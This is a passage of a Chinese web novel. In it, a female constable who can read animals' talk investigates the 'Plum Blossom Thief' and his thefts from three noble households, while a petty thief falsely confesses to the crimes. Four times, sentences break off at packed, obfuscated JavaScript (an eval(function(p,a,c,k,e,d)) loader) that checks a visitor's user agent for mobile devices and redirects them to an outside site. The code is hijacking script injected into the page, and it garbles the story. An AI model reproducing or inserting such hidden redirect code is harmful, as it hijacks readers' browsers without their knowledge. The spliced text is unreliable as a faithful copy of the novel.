穆青青胡思乱想之际,寇晟这边的压力却剧增,他当即下令:“所有捕快放下手中其他案子,专查此案。刑部那边已经催了三次,陛下也知道了,限我们十日破案。” 十日! 众人立刻分头行动。穆青青跟着余肖红、林霜先去了周尚书府。 周府在城东,五进院落,气派非凡。 管家引着她们进了书房,一路上絮絮叨叨:“……那纸条就放在书案上,门窗都是关着的,老爷虽不信纸上所说,但因着这纸条,睡前还亲自检查过门窗,夜里也没听见任何动静;可今早一开门,砚台就不见了!” 穆青青没急着进书房,先在院子里转了一圈。 周府养着不少宠物。廊下挂着两只画眉,笼子精致,鸟食讲究。后院里有一只大白猫,懒洋洋地趴在石桌上晒太阳。墙角还有一只八哥,见人来了就喊“老爷吉祥”,声音尖细。 穆青青蹲下身,假装整理鞋袜,目光扫过那些小动物。 光幕果然亮了。 【周府·后院(当前在线:5)】 大白猫:【喵……又来人了。天天来人,烦不烦。能不能让本喵好好晒个太阳?】 画眉甲:【啾!昨晚那个黑影,我看见啦!从东墙翻进来的!动作那叫一个利索!】 画眉乙:【啾啾!我也看见了!个子高高的,瘦瘦的,像根竹竿!走路都没声儿!】 八哥:【老爷吉祥!老爷吉祥!】 大白猫:【喵……你们几个能不能消停会儿?从早上念叨到现在,耳朵都起茧子了。】 画眉甲:【啾!你懂什么!我们这是协助破案!回头六扇门给赏钱,你可别眼红!】 大白猫:【喵……赏钱?能换小鱼干吗?不能换就别吵吵。】 穆青青看着这些对话,差点笑出声。 京城的宠物,比丰城的还能唠;而且不愧是当官人家里的宠物,见识不一般,连“六扇门”“赏钱”这些词居然都知道。 她忍住笑,看向那两只画眉。笼子挂在廊下,有限的视野正对着东墙方向。如果它们说的是真的,那飞贼确实应该是从东墙进来的。 可那面墙她刚才看过,三米多高,墙头插着碎玻璃,没有任何攀爬痕迹。 她走进书房。 书房收拾得很整洁,书案上摆着文房四宝,砚台的位置空着,落了一层薄灰,是砚台被拿走留下的印子。 穆青青蹲下身,仔细检查地面。青砖铺地,打扫得干净,但墙角有几粒极细的黑色粉末。她用镊子夹起一粒,凑近细看,像是烧过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291987|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香灰。 窗台上有浅浅的印痕,不仔细看看不出来。她拿出随身带的放大镜,对着光看,印痕很细,像是细绳勒过留下的。 余肖红走过来:“发现什么了?” 穆青青把那几粒粉末给她看:“这香灰,有没有可能是迷香?” 余肖红接过,凑近闻了闻,又用小刀刮下一点放在舌尖尝了尝,皱眉道:“是‘沉水香’,一种很贵的安神香。但这不是迷香,点了只会让人睡得更沉,不会昏迷。京城的贵人晚上睡不着,常点这个。” 穆青青点点头,又指了指窗台上的印痕:“这像是细绳勒过的痕迹。如果飞贼是从窗户进来的,绳子可能是作案工具。” 余肖红仔细看了看,摇头道:“可窗户是从里面闩上的。我们检查过,闩子完好,没有被拨动过的痕迹。” 穆青青没再说话,心里却有了一个想法。 如果飞贼不是从外面进来的呢? 她想起那些宠物们说的话。画眉说看见黑影从东墙翻进来,可东墙根本没有痕迹;她相信画眉鸟它们肯定不会说谎,那到底是怎么回事呢? 从周府出来,她们又去了兵部赵尚书府。 赵府的格局和周府差不多,也是高门大院,仆从成群。 那柄古剑正放在书房墙上的剑架上。 穆青青照样先看宠物。 赵府养的东西更多。廊下挂着两只鹦鹉,一只葵花,一只灰鹦鹉。后院有一只大黄狗,拴在树下打盹。水池里养着几尾锦鲤,懒洋洋地游着。 光幕亮了。 【赵府·后院(当前在线:6)】 葵花鹦鹉:【嘎!昨晚那人好矮!像个小孩儿!从西墙钻进来的!我亲眼看见的!】 灰鹦鹉:【嘎嘎!对对对!我也看见了!矮矮的,胖胖的,像个球!滚进来的!】 大黄狗:【汪……我听见动静了,可那会儿我正做梦吃肉骨头,没醒……汪……肉骨头……】 锦鲤甲:【咕噜咕噜……水面上有影子飘过去,好大一片……吓死鱼了……】 锦鲤乙:【咕噜……你每次都这么说,上次一片树叶飘过去你也说吓死鱼了……】 穆青青看着这些“证词”,心里疑惑更深。 周府的画眉说进来的飞贼高高瘦瘦,赵府的鹦鹉又说进来的飞贼矮矮胖胖。一个三米高墙翻进来,一个从西墙“钻”进来。一个像竹竿,一个像球。 这到底是不是同一个飞贼? 她走进书房。 剑架上放着的那柄宝剑,做工精细,镶金嵌玉,一看就不是凡品。 穆青青不敢贸然碰它,只能认真观察起剑鞘来,果然被她发现在鞘口外侧有一道新鲜的划痕,像是被什么东西刮过。 窗台上没有任何痕迹,窗闩好无损。 但是穆青青蹲下身,检查墙角。在一个不起眼的角落里,她发现一小片鱼鳞。 鱼鳞很小,银白色,在阳光下微微反光。她用小刀挑起,包好。 当天夜里,六扇门在赵府布下天罗地网。 71. 惊现盗圣(2) 穆青青跟着余肖红、林霜,藏在赵府后院的假山后面。月光清冷,照得院子里一片银白,连地上的蚂蚁都能看见。 廊下挂着两只鹦鹉,已经睡了,偶尔咕哝一声,脑袋往翅膀里缩了缩。后院的黄狗趴在树下,竖着耳朵,尾巴一甩一甩,警觉得很。 说实话,穆青青觉得这种天气和氛围,真的不适合上门盗窃,也不知道那个梅花大盗会不会真的出现。 时间一点一点过去。 子时三刻,万籁俱寂。 忽然,西墙方向传来一阵极轻的窸窣声,像是什么东西蹭过墙面。 穆青青屏住呼吸。 一个黑影从墙头翻进来。那黑影落地无声,动作利落得像一只夜行的猫,连月光下都看不清他的身形。他贴着墙根,快速朝书房摸去,每一步都踩在阴影里,仿佛对院子里的布局了如指掌。 到了窗下,他从怀里掏出一根细铁丝,轻轻探进窗缝。片刻之后,窗闩“咔哒”一声轻响,开了。 就在这时,埋伏的捕快一拥而上! 那黑影反应极快,转身就跑。可四面八方都是人,他跑不出几步就被按倒在地。火把照亮了他的脸:瘦瘦高高,尖嘴猴腮,一双眼睛骨碌碌转,透着股机灵劲儿,但此刻全是慌乱。 “抓着了!抓着了!”捕快们欢呼。 可穆青青却皱起了眉。 太顺利了。 顺利得不像真的。 她快步走进书房,点亮灯。剑架上,那柄古剑还好端端地挂在墙上。她小心地取下剑,仔细端详:剑身古朴,剑鞘上的各种镶嵌完好如初,是真品,没被人调换。 可窗台上,那熟悉的细绳印痕还在,和周府的一模一样。 她蹲下身,在墙角找到了几粒香灰,和周府的一样,是那种昂贵的“沉水香”,点了只会让人睡得更沉,不会昏迷。 穆青青站起身,心里那个念头越来越强烈。 被抓的这个,真的是偷走梅花砚的飞贼吗? 审讯在六扇门连夜进行。 被抓的黑影姓孙,外号“孙猴子”,是个惯偷,在京城小有名气,专门翻墙入室,偷些有钱人家的零碎玩意儿。 他倒是爽快,一五一十全招了。 “是我偷的。”孙猴子蹲在地上,耷拉着脑袋,“周家那砚台也是我偷的。字条也是我留的。” 寇晟坐在堂上,面无表情:“你为什么要偷这两件东西?” 孙猴子抬起头,嘿嘿一笑,那笑容里透着股子得意:“好玩呗。‘三公之家’,听着多威风。我要是能把这三家的宝贝都偷一遍,那在道上可就出名了。以后提起我孙猴子,谁不得竖个大拇指?” 旁边记录的郑三差点笑出声,被寇晟瞪了一眼,赶紧憋住。 寇晟又问:“那第三家呢?林府,你打算什么时候动手?” 孙猴子摇头:“还没想好。本来想歇两天再说的,谁知道你们这么快就抓着我了。”他说着,还叹了口气,一副“出师未捷身先死”的遗憾模样。 寇晟让人把他押下去,回头看向穆青青:“你怎么看?” 穆青青站在一旁,一直没说话。她盯着孙猴子离开的方向,沉默了一会儿才开口:“大人不觉得太顺了吗?” 寇晟挑了挑眉:“太顺?” 穆青青点点头:“他认罪认得也太快了。而且大人注意到没有,他交代的时候,只说偷了周家的砚台,说字条是他留的,可从头到尾,他都没提赵家那柄剑。” 寇晟神色微凝。 穆青青继续道:“今晚咱们布防,是因为他留了字条说要偷赵家的剑。可他被抓的时候,剑还在。他还没得手。那他认的什么罪?认偷砚台的罪?可那是前几天的案子,他今天来赵府,是为了偷剑。” 寇晟沉吟道:“你的意思是,他承认偷砚台,是为了让我们相信他就是那个梅花大盗?” 穆青青点头:“他把两桩案子揽到自己身上,周家的砚台已经丢了,咱们正急着找。他一认罪,咱们的注意力就全在他身上,自然不会再盯着赵府。” 寇晟沉默了一会儿,站起身,走到窗边。窗外夜色正浓,月光照在院子里,一片清冷。 “可他已经被抓了,”寇晟说,“就算咱们注意力在他身上,赵府的剑也安全了。” 穆青青摇摇头:“我不知道。只是觉得……太顺了。” 寇晟回过头看着她:“你还有别的想法?” 穆青青想了想,道:“我想去赵府再看看。” 寇晟看了她一眼,点点头:“去吧。小心些。” 从六扇门出来,穆青青直接往赵府方向走去。 天边已经泛起了鱼肚白,再过半个时辰天就要亮了。街上的雾气很重,青石板路湿漉漉的,踩上去没有声音。这个时辰,正是人睡得最沉的时候,连打更的都收了工,满京城安静得像一座空城。 穆青青走在空荡荡的街道上,脑子里却一刻也停不下来。 周府那晚,她从小动物那里知道,来的是一个高高瘦瘦的人。赵府这边,鹦鹉们看见的是个矮矮胖胖的人。 两个身形完全不一样。 如果孙猴子是高瘦的那个,那矮胖的那个是谁? 她一边想着,一边加快了脚步。 转过街角,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295675|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府的大门已经在望。穆青青正要走过去,忽然听见远处传来一阵喧闹。 是人声,杂沓的脚步声,还有惊慌的叫喊。那声音越来越大,越来越近,紧接着,赵府方向亮起了灯火,一盏、两盏、三盏……很快,整座府邸都亮了起来,像一只突然睁开的眼睛。 穆青青心头一沉,拔腿就跑。 她冲进赵府大门时,院子里已经乱成一团。丫鬟婆子们挤在廊下,瑟瑟发抖;护院们提着灯笼,四处乱跑;管家站在书房门口,脸色煞白,两条腿抖得像筛糠。 “怎么了?”穆青青一把抓住他。 管家回过头,看见是她,嘴唇哆嗦着,好半天才挤出一句话:“剑、剑没了!那柄古剑,没了!” 穆青青松开他,三步并作两步冲进书房。 书案旁的剑架上,空空荡荡。那柄唐代古剑,连同剑鞘,都不见了踪影。窗户大敞着,夜风灌进来,吹得烛火摇曳不定。 穆青青快步走到窗边,向外望去。窗外是后院,院墙不高,两米左右。她翻窗出去,在院子里转了一圈。院墙根的泥土上,有一串浅浅的脚印。 很浅,浅得几乎看不出来,像是有人踮着脚尖走过的。 她蹲下身,借着灯火细看。脚印不大,比成年男子的脚小一圈,鞋底花纹很浅,像是软底快靴。脚印的方向,是从书房直直地通往院墙。 她顺着脚印走到墙根。脚印在墙根消失了,墙上有一个模糊的印痕,像是有人用手撑了一下墙面,然后翻了出去。 穆青青翻墙出去,外面是一条窄巷。巷子里同样有脚印,一路往东延伸,消失在巷子尽头。 她没有继续追。天快亮了,那人早就跑远了。 回到书房,管家正在跟不知道什么时候赶来的余肖红和林霜说着什么。 见穆青青进来,余肖红迎上来,压低声音道:“厨房的人说,昨晚有个陌生的厨娘来过,说是新来的帮工,帮着做了些点心。后半夜就不见了。” 穆青青心中一动:“新来的厨娘?” 管家忙道:“是、是前两天新招的,说是从城南来的,手艺不错,厨房的李大娘就留下了。我、我还没来得及报给六扇门……” 穆青青没说话,转身又回到窗边。 窗台上,那熟悉的细绳印痕还在,和之前一模一样。她蹲下身,用手摸了摸那印痕,忽然发现,这次的印痕,比周府那次的深一些,边缘也更粗糙。 她从怀里掏出一个小油纸包,把印痕边缘蹭下来的墙皮小心地刮了一点,包好。 天已经亮了。 消息传到六扇门,寇晟的脸色沉得像要滴出水来。 72. 惊现盗圣(3) 刑部那边一早就派人来了,话里话外的意思是:你们六扇门不是说抓着人了吗?怎么东西又丢了?这让我们怎么跟上面交代? 寇晟一句话没说,等人走了,才把所有人都召集起来。 “从现在起,所有捕快放下其他案子,专查此案。” 他的声音不大,但每个字都像钉子一样钉进人耳朵里,“三天之内,我要知道这柄剑是怎么丢的,是谁偷的。” 众人齐声应诺。 穆青青站在人群里,心里却一直在想着那个脚印。 很小,很浅,鞋底花纹特殊。 那人轻功极好,翻墙落地几乎没有声音,连脚印都浅得几乎看不见。孙猴子可没这本事,孙猴子翻墙进来的时候,她亲眼看见他落地时踉跄了一下,踩得泥土陷下去好深。 孙猴子就是个假贼。 真正的梅花大盗,另有其人。 而且这个人,故意让孙猴子来打头阵,吸引所有人的注意,等大家以为案子破了、放松警惕之后,他再亲自动手,把剑偷走。 穆青青想起周府那晚的“高高瘦瘦”之人,想起赵府鹦鹉说的“矮胖子”。 两个身形,完全不同。 如果孙猴子是高瘦的那个,那赵府那晚进来放纸条的矮胖子是谁? 还是说……从头到尾,真正的梅花大盗就只有一个,而那两个身形,只是他故意放出来的烟雾? 穆青青忽然想到一个可能:这个人会易容,或者会缩骨。他可以让自己的身形忽高忽低,忽胖忽瘦,让人根本摸不清他的真实模样。 如果真是这样,那这个人就太难抓了。 但再难也得抓。 接下来两天,六扇门上下忙得脚不沾地。 寇晟亲自带人查访京城所有可疑人物,赵统领带着捕快们满城搜捕,余肖红和林霜挨家挨户问询。 可那个真正的梅花大盗就像凭空消失了一样,一点痕迹都没留下。 穆青青知道,那个人一定会再出现。 他偷了两件,还差一件。三公之家,他不会放过最后一家。 她在等。 两天后。 六扇门的大堂里,烛火通明,压得人喘不过气来。 寇晟坐在上首,面色沉得像一块铁。赵统领站在一旁,眉头拧成了疙瘩。余肖红、林霜、郑三、韩大虎等人分列两侧,没有一个人说话。 穆青青站在角落里,手里下意识地攥着从赵府带回来的那包墙皮粉末。 从赵府古剑被盗到现在,整整两天过去了,六扇门上上下下没睡过一个囫囵觉,可那个真正的梅花大盗就像化成了风,连个影子都没留下。 唯一的好消息是,第三封预告信一直没有出现。林府那边风平浪静,那幅传说中的《江山万里图》还好端端地挂在书房里。 可穆青青知道,暴风雨前的宁静,往往是最熬人的。 果然—— “大人!”一个衙役冲进来,气喘吁吁,“林国舅府上来人,说今早收到了字条!” 满堂皆惊。 寇晟霍然起身:“拿来我看!” 字条很快送到。依然是普通的宣纸,依然是张扬的笔迹,只是这一次,日期改成了“后夜”,失物改成了“江山万里图”。 落款处,依然是那朵圆滚滚的梅花。 寇晟盯着那张字条,沉默了很久,才沉声道:“这图是什么来路?” 林霜上前一步:“大人,我查过了。这图是前朝宫廷画师所绘,描绘的是大曜江山全景,长三丈,宽一丈,是林家的传家之宝。据说此图暗藏玄机,图中有七处标记,对应着七处龙脉所在。当年太祖皇帝曾想用一座城池换这幅图,林家都没换。” 郑三在旁边插嘴:“这我也听说过。江湖上传言,谁得了这幅图,谁就能找到龙脉,得天下之气。当然,这都是瞎传的,可架不住有人信啊。” 寇晟冷笑一声:“传得越玄乎,这贼越要偷。” 他环顾四周,目光落在赵统领身上:“赵统领,你亲自带人,把林府给我围成铁桶。连一只苍蝇都不许飞进去!” 赵统领抱拳:“是!” 寇晟又看向余肖红和林霜:“你们两个,带几个女捕快,贴身保护林府女眷。那贼若想混进去,女眷那边是最容易下手的地方。” 余肖红和林霜齐声应诺。 最后,寇晟的目光落在穆青青身上。 “穆捕,”他说,“你跟着我,在外围守着。我倒要看看,这梅花大盗究竟是何方神圣。” 穆青青点头:“是。” 众人领命而去,大堂里只剩下寇晟和穆青青两个人。 寇晟走到窗边,背对着她,沉默了很久,忽然开口:“穆姑娘,你觉得这案子,能破吗?” 穆青青想了想,道:“能破。” 寇晟回过头,看着她:“为什么?” 穆青青道:“因为这贼太狂了。” 她走到那张字条前,指着上面的字迹:“大人你看,这字虽然写得潦草,可笔锋间透着功底。这不是没拿过笔的人能写出来的,也不是临时抱佛脚能练出来的。他从小练字,练了很多年。这样的人,多半出身不错,家境殷实,不是那种走投无路才铤而走险的人。” 寇晟点点头,示意她继续。 穆青青又道:“他敢连偷两家,还敢留字条预告,说明他对自己的本事极其自信。这样的人,往往有一个致命的弱点——他太想证明自己了。他不在乎被抓,他只在乎能不能做成这件惊天动地的大事。只要他想做成,他就一定会再来。” 寇晟沉默了一会儿,忽然笑了:“你说得对。” 他转身,看着窗外沉沉的夜色,声音轻得像是在自言自语:“那就等着他。” 后夜,月黑风高。 林府内外,三步一岗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300853|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,五步一哨。六扇门的人把整座府邸围得水泄不通,连墙根底下都蹲着人,眼睛一眨不眨地盯着每一寸墙头。 赵统领亲自守在书房门口,手按刀柄,一动不动。 书房里,《江山万里图》好端端地挂在墙上,旁边站着两个捕快,目不转睛地盯着它。 余肖红和林霜带着几个女捕快,守在女眷内院。林夫人吓得不敢睡觉,余肖红就陪她坐着,有一搭没一搭地说着话。 穆青青和寇晟藏在对面屋顶的阴影里,把整座院子尽收眼底。 时间一点一点过去。 子时。 丑时。 寅时。 东方泛起了鱼肚白。 什么事都没有发生。 穆青青盯着那幅图,盯得眼睛都酸了。可那幅图就那么挂在那里,一动不动,仿佛在嘲笑他们这一夜的紧张。 天亮了。 寇晟站起身,拍了拍身上的灰,脸上没什么表情,但眼里有一丝如释重负。 “收队。”他说。 六扇门的人陆续撤出林府。赵统领从书房出来,朝寇晟抱了抱拳:“大人,平安无事。” 寇晟点点头,正要说什么,忽然听见身后传来一阵急促的脚步声。 是林府的管家。他脸色煞白,两条腿抖得像筛糠,跌跌撞撞跑过来,扑通一声跪在寇晟面前。 “大、大人!不好了!那图……那图……” 寇晟脸色一变:“图怎么了?” 管家张了张嘴,好半天才挤出一句话:“图……没了!” 寇晟一把推开他,冲进书房。 寇晟脸色一变,推开管家,几步冲进书房。 墙上,那幅《江山万里图》好端端地挂着。 晨曦从窗户透进来,照在图卷上,山川河流、城郭楼台,依然清晰可见。两个捕快还站在旁边,眼睛都熬红了,见寇晟进来,吓了一跳。 “大、大人?怎么了?” 寇晟没有说话。他盯着那幅图,盯了很久,慢慢转过身,看向跟进来的管家。 管家的脸色比刚才更白。他张了张嘴,声音像是从嗓子眼里挤出来的:“大人……这图……这图是假的。” 满堂寂静。 寇晟的声音很平,平得像一块石头:“你说什么?” 管家扑通一声跪下了:“大人明鉴!这幅图是仿品!真的那幅,老爷三天前就让人藏起来了!藏在一个谁也不知道的地方!就为了防那个贼!” 寇晟没有说话。他只是站在那里,看着墙上那幅画。 画上的山川在晨光里静静地躺着,似乎在嘲笑他。 赵统领的声音从身后传来:“藏起来了?藏哪儿了?” 管家摇头:“小人不知道。老爷谁都没告诉,只说等风头过了再取出来。” 寇晟转身,大步往外走。 “去找林国舅。” 73. 惊现盗圣(4) 林国舅的书房里,气氛比外面更冷。 这位当今皇后的亲弟,平日里见人三分笑,此刻却连笑都笑不出来。他坐在椅子上,脸色发白,手边的茶早就凉了,一口也没喝。 寇晟站在他面前,声音不大,却让人心里发紧:“国舅爷,那幅真图,您藏哪儿了?” 林国舅抬起头,张了张嘴,又闭上了。 过了好一会儿,他才开口,声音沙哑:“……书房的暗格。” 寇晟眉头一皱:“暗格?” 林国舅点头:“就在这间书房里。靠东墙那排书架后面,有个暗格,是我祖父那辈留下来的,除了我,没人知道。我想着,把真图藏在那儿,最安全。墙上挂的是我让人连夜画的仿品,画工虽比不上真迹,但乍一看也能蒙混过去。” 他顿了顿,声音更低了几分:“今早六扇门收队之后,我让所有人都退下,一个人去开暗格……结果……” 寇晟问:“结果怎么了?” 林国舅抬起头,看着他,眼神里有一种说不清的东西。 “结果,暗格是空的。” 屋里又陷入了死一般的寂静。 寇晟没有说话。他只是站在那里,看着林国舅那张苍白的脸。 过了很久,他才开口:“带我去看看。” 暗格在书架后面,很隐蔽,需要按动一个机关才能打开。 林国舅当着寇晟的面演示了一遍。书架缓缓移开,露出后面一个半人高的暗门。暗门上挂着一把铜锁,锁是完好的。 “这锁……”寇晟盯着那把锁。 林国舅道:“锁没坏。我开锁的时候,它就是这么锁着的。我开了锁,推开门,里面就……就空了。” 寇晟蹲下身,仔细检查那把锁。锁是普通的铜锁,没有撬痕,没有损坏,钥匙也只有林国舅一个人有。 他推开暗门,往里看去。 暗格不大,两尺见方,里面空空荡荡,只有角落里落着一层薄灰。灰上有一道印痕,像是曾经放过什么东西。 寇晟的目光落在那道印痕上。印痕很整齐,是画卷的形状。 他站起身,环顾四周。 暗格在书房的最深处,四面都是墙壁,唯一的出入口就是那道暗门。暗门外是书架,书架外是书房,书房外是六扇门的人,围了整整一夜。 那个贼,是怎么进去的? 又是怎么出来的? 寇晟的目光扫过暗格的每一寸墙壁。 墙是青砖砌的,严丝合缝,没有任何破损。他伸手敲了敲,实心的,没有夹层。 他又蹲下身,检查地面。地面也是青砖铺的,和墙壁一样严丝合缝,没有任何翻动的痕迹。 他站起身,盯着那道空荡荡的印痕,沉默了很长时间。 然后他转身,走出暗格。 外面,穆青青正站在书房的角落里,一动不动。 她从那道暗门打开的瞬间,就一直在看。 看那把锁,看那堵墙,看那道印痕。 可她的目光,更多的是落在地上。 暗格外面的地上,有一粒极小的东西。很小,小到不仔细看根本发现不了。是一粒香灰。 和周府、赵府的一模一样。 沉水香。 穆青青蹲下身,用镊子夹起那粒香灰,包好。 然后她站起身,走到窗边。 窗户是关着的,从里面闩好。窗闩完好,没有任何拨动的痕迹。 可她蹲下身,用放大镜看窗台的时候,还是看到了那熟悉的细绳印痕。 和周府、赵府的一模一样。 穆青青站起身,看向寇晟。 寇晟也看着她。 两个人谁都没有说话。 可他们心里都清楚,那个贼,来过这里。 就在六扇门的人的眼皮底下。 林府的书房里,六扇门的人重新勘查了一遍。 可这一次,他们什么也没找到。 暗格里的那道印痕,证明真图曾经在那里待过。外面的香灰,证明那个贼确实来过。窗台上的印痕,证明他是从窗户进来的。 可他是怎么进来的? 窗闩是好的,从里面闩着。 他是怎么出去的? 还是从窗户,可窗闩还是好的,从里面闩着。 就像变戏法一样,他凭空出现,凭空消失,带走了一幅图,留下了一粒香灰,一道印痕,和满屋子的困惑。 寇晟站在书房中央,沉默了很长时间。 然后他开口,声音很轻,却像一块石头压在每个人心上: “传令下去,撤销所有布防。” 赵统领一愣:“大人?” 寇晟摇摇头:“没有用了。他要的东西,已经到手了。” 他们输了。 输得彻彻底底。 消息传到六扇门,满堂死寂。 寇晟坐在上首,一言不发。赵统领站在一旁,脸色铁青。余肖红、林霜、郑三、韩大虎等人低着头,没人敢说话。 过了一会儿,外面传来一阵脚步声。 刑部的人来了。 来的不是普通书吏,而是刑部侍郎刘大人。他走进大堂,也不坐,就那么站着,看着寇晟。 “寇大人,”他的声音不高,但每个字都像钉子一样钉进人耳朵里,“周尚书和赵尚书那边,已经递了折子上去。陛下知道了,龙颜大怒,着六扇门五日内破案,若逾期,严惩不贷。” 日。 寇晟站起身,朝他抱了抱拳:“刘大人放心,寇某定当尽力。” 刘大人看了他一眼,没再说什么,转身走了。 他走后,大堂里又陷入了死一般的沉默。 过了很久,寇晟开口:“把孙猴子提上来。” 孙猴子很快被押了上来。他跪在地上,脸上青一块紫一块,显然没少吃苦头。可他的眼睛里,已经没了那天被抓时的得意劲儿,只剩下恐惧。 寇晟看着他,声音平静得像一潭死水:“孙猴子,我再问你一遍,周家的砚台,是不是你偷的?” 孙猴子哆嗦了一下,小声道:“是……是我偷的。” 寇晟继续问:“字条呢?是不是你留的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312421|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孙猴子的声音更小了:“是……是我留的。” 寇晟忽然站起身,走到他面前,居高临下地看着他:“那赵家的剑呢?林家的画呢?也是你偷的?” 孙猴子张了张嘴,说不出话来。 寇晟盯着他,一字一顿道:“孙猴子,你知不知道,你认的那些罪,害得六扇门上下几十号人,三天三夜没合眼?你知不知道,你认的那些罪,害得我们放松了警惕,让真正的贼钻了空子?你知不知道,因为此事,陛下龙颜大怒,你这个认罪之人必死,而你的家族,全都将给你陪葬?” 孙猴子的脸彻底白了。他跪在地上,浑身发抖,忽然“哇”的一声哭了出来。 “大人饶命!大人饶命!我、我不是故意的!我就是想蹭个名气!” 他哭着把事情全说了出来。 原来,他根本就不是什么梅花大盗。 他就是个普通的小贼,在京城混了七八年,偷过些零碎玩意儿,从来没干过这么大的案子。 那天,他在茶馆里听说周尚书府的梅花砚失窃了,据说贼人还留了字条,落款是一朵梅花。短短几日,“梅花大盗”的名号就传遍了京城茶坊酒肆。 他听了,心里直痒痒。 “梅花大盗”这名头多响亮啊!要是我也能留下梅花落款,那我不就也是梅花大盗了吗?在道上可就出名了! 可人家已经偷了周府的砚台,他总不能再去偷一遍。于是他盯上了兵部赵尚书府,听说赵家藏着一柄唐代古剑,也是件宝贝。 当天夜里,他摸进赵府,想要偷了那柄剑,还特意准备了一张字条,落款处画了一朵梅花。 他还幻想着,等到第二天消息传开的时候,他孙猴子就能名扬京城了。 可他根本不知道,真正的梅花大盗早就盯上了这三家。他偷剑的那天晚上,真正的梅花大盗其实也去了赵府,看见他被抓,那人乐得一笑,转身便消失在夜色里。 真正的梅花大盗,正等着有人替他背这口锅呢。 孙猴子被抓之后,他以为自己“成名”了,得意了好几天。直到今天被提上来,他才知道自己闯了多大的祸。 “大人,我真的什么都不知道啊!”孙猴子哭得稀里哗啦,“我不知道什么赵家的剑,不知道什么林家的画,我就是想偷把宝剑,再留张纸条;我只是想出名而已!那什么梅花大盗,我根本不认识他啊!” 寇晟听完,沉默了很长时间。 然后他挥了挥手:“押下去。” 孙猴子被拖走了,哭声渐渐远去。 大堂里又陷入了沉默。 过了很久,赵统领开口:“那赵府的厨娘呢?找到了吗?” 林霜上前一步:“找到了。我们根据线索查到城外三十里把她抓了回来。她说她确实偷过东西,偷的是厨房里的一些点心、半只鸡,还有同屋其他仆妇的两匹府上不要的旧布料。她消息不灵通,还以为我们去尚书府是为了查她偷东西的事,吓得连夜跑了。梅花大盗的事,她一无所知。” 赵统领听完,眉头皱得更深了。 所有的线索,都断了。 74. 惊现盗圣(5) 梅花大盗的案子像一块沉甸甸的石头,压在六扇门每个人心上。 孙猴子被押下去后,大堂里静得能听见烛火噼啪的声响。寇晟坐在上首,手指无意识地叩着桌面,那节奏缓慢而沉闷,像是敲在人心上。 “都散了吧。”他终于开口,声音里透着一股说不出的疲惫,“明日辰时,各自把这几天的线索再捋一遍。任何蛛丝马迹都不要放过。” 众人陆续散去。穆青青走出大堂时,天已经黑透了。夜风灌进来,带着初秋的凉意,吹得廊下的灯笼晃晃悠悠。 余肖红追上来,和她并肩走着。 “你怎么看?”余肖红问。 穆青青摇摇头:“还在想。” 虽然她确实有了一些想法,但有更多的问题还没想明白。 余肖红叹了口气,没再追问。两人走到六扇门门口,各自分手。 穆青青独自往甜水巷走去。 街上很静,偶尔有一两声狗叫,远远的,听不真切。月光照在青石板路上,隐隐有些反光。 她走得很慢,脑子里一刻也停不下来。 香灰。 沉水香,很贵的安神香。三个现场都有。周府墙角,赵府墙角,林府暗格外面的地上。 这香灰是谁留下的?贼自己点的? 如果是贼自己点的,那他为什么要点香?为了让屋里的人睡得更沉?可沉水香不是迷香,点了只会让人睡得更安稳,不会让人昏迷。 如果不是贼自己点的,那这香灰是哪儿来的? 穆青青已经问过了,三家府上都没有点这种香的习惯。周府的下人说,老爷睡眠好,从不点香。赵府的丫鬟说,夫人嫌熏香呛嗓子,从来不用。林府的管家更干脆:国舅爷说男人身上有香味不像话,府里连香炉都没摆。 那这香灰,只能是贼带进来的。 可贼带香灰做什么? 撒在地上当记号?这也太蠢了。 除非,这香灰不是他故意撒的,而是他身上不小心掉下来的。 这是不是说明,这个飞贼因为一些特殊原因离不开沉水香? 难道他有长期失眠的病症? 还有身形。周府的画眉说看见高高瘦瘦的黑影,赵府的鹦鹉说看见矮矮胖胖的球。两个身形完全不同。 孙猴子应该是高瘦的那个,已经被抓了。那矮胖的那个是谁? 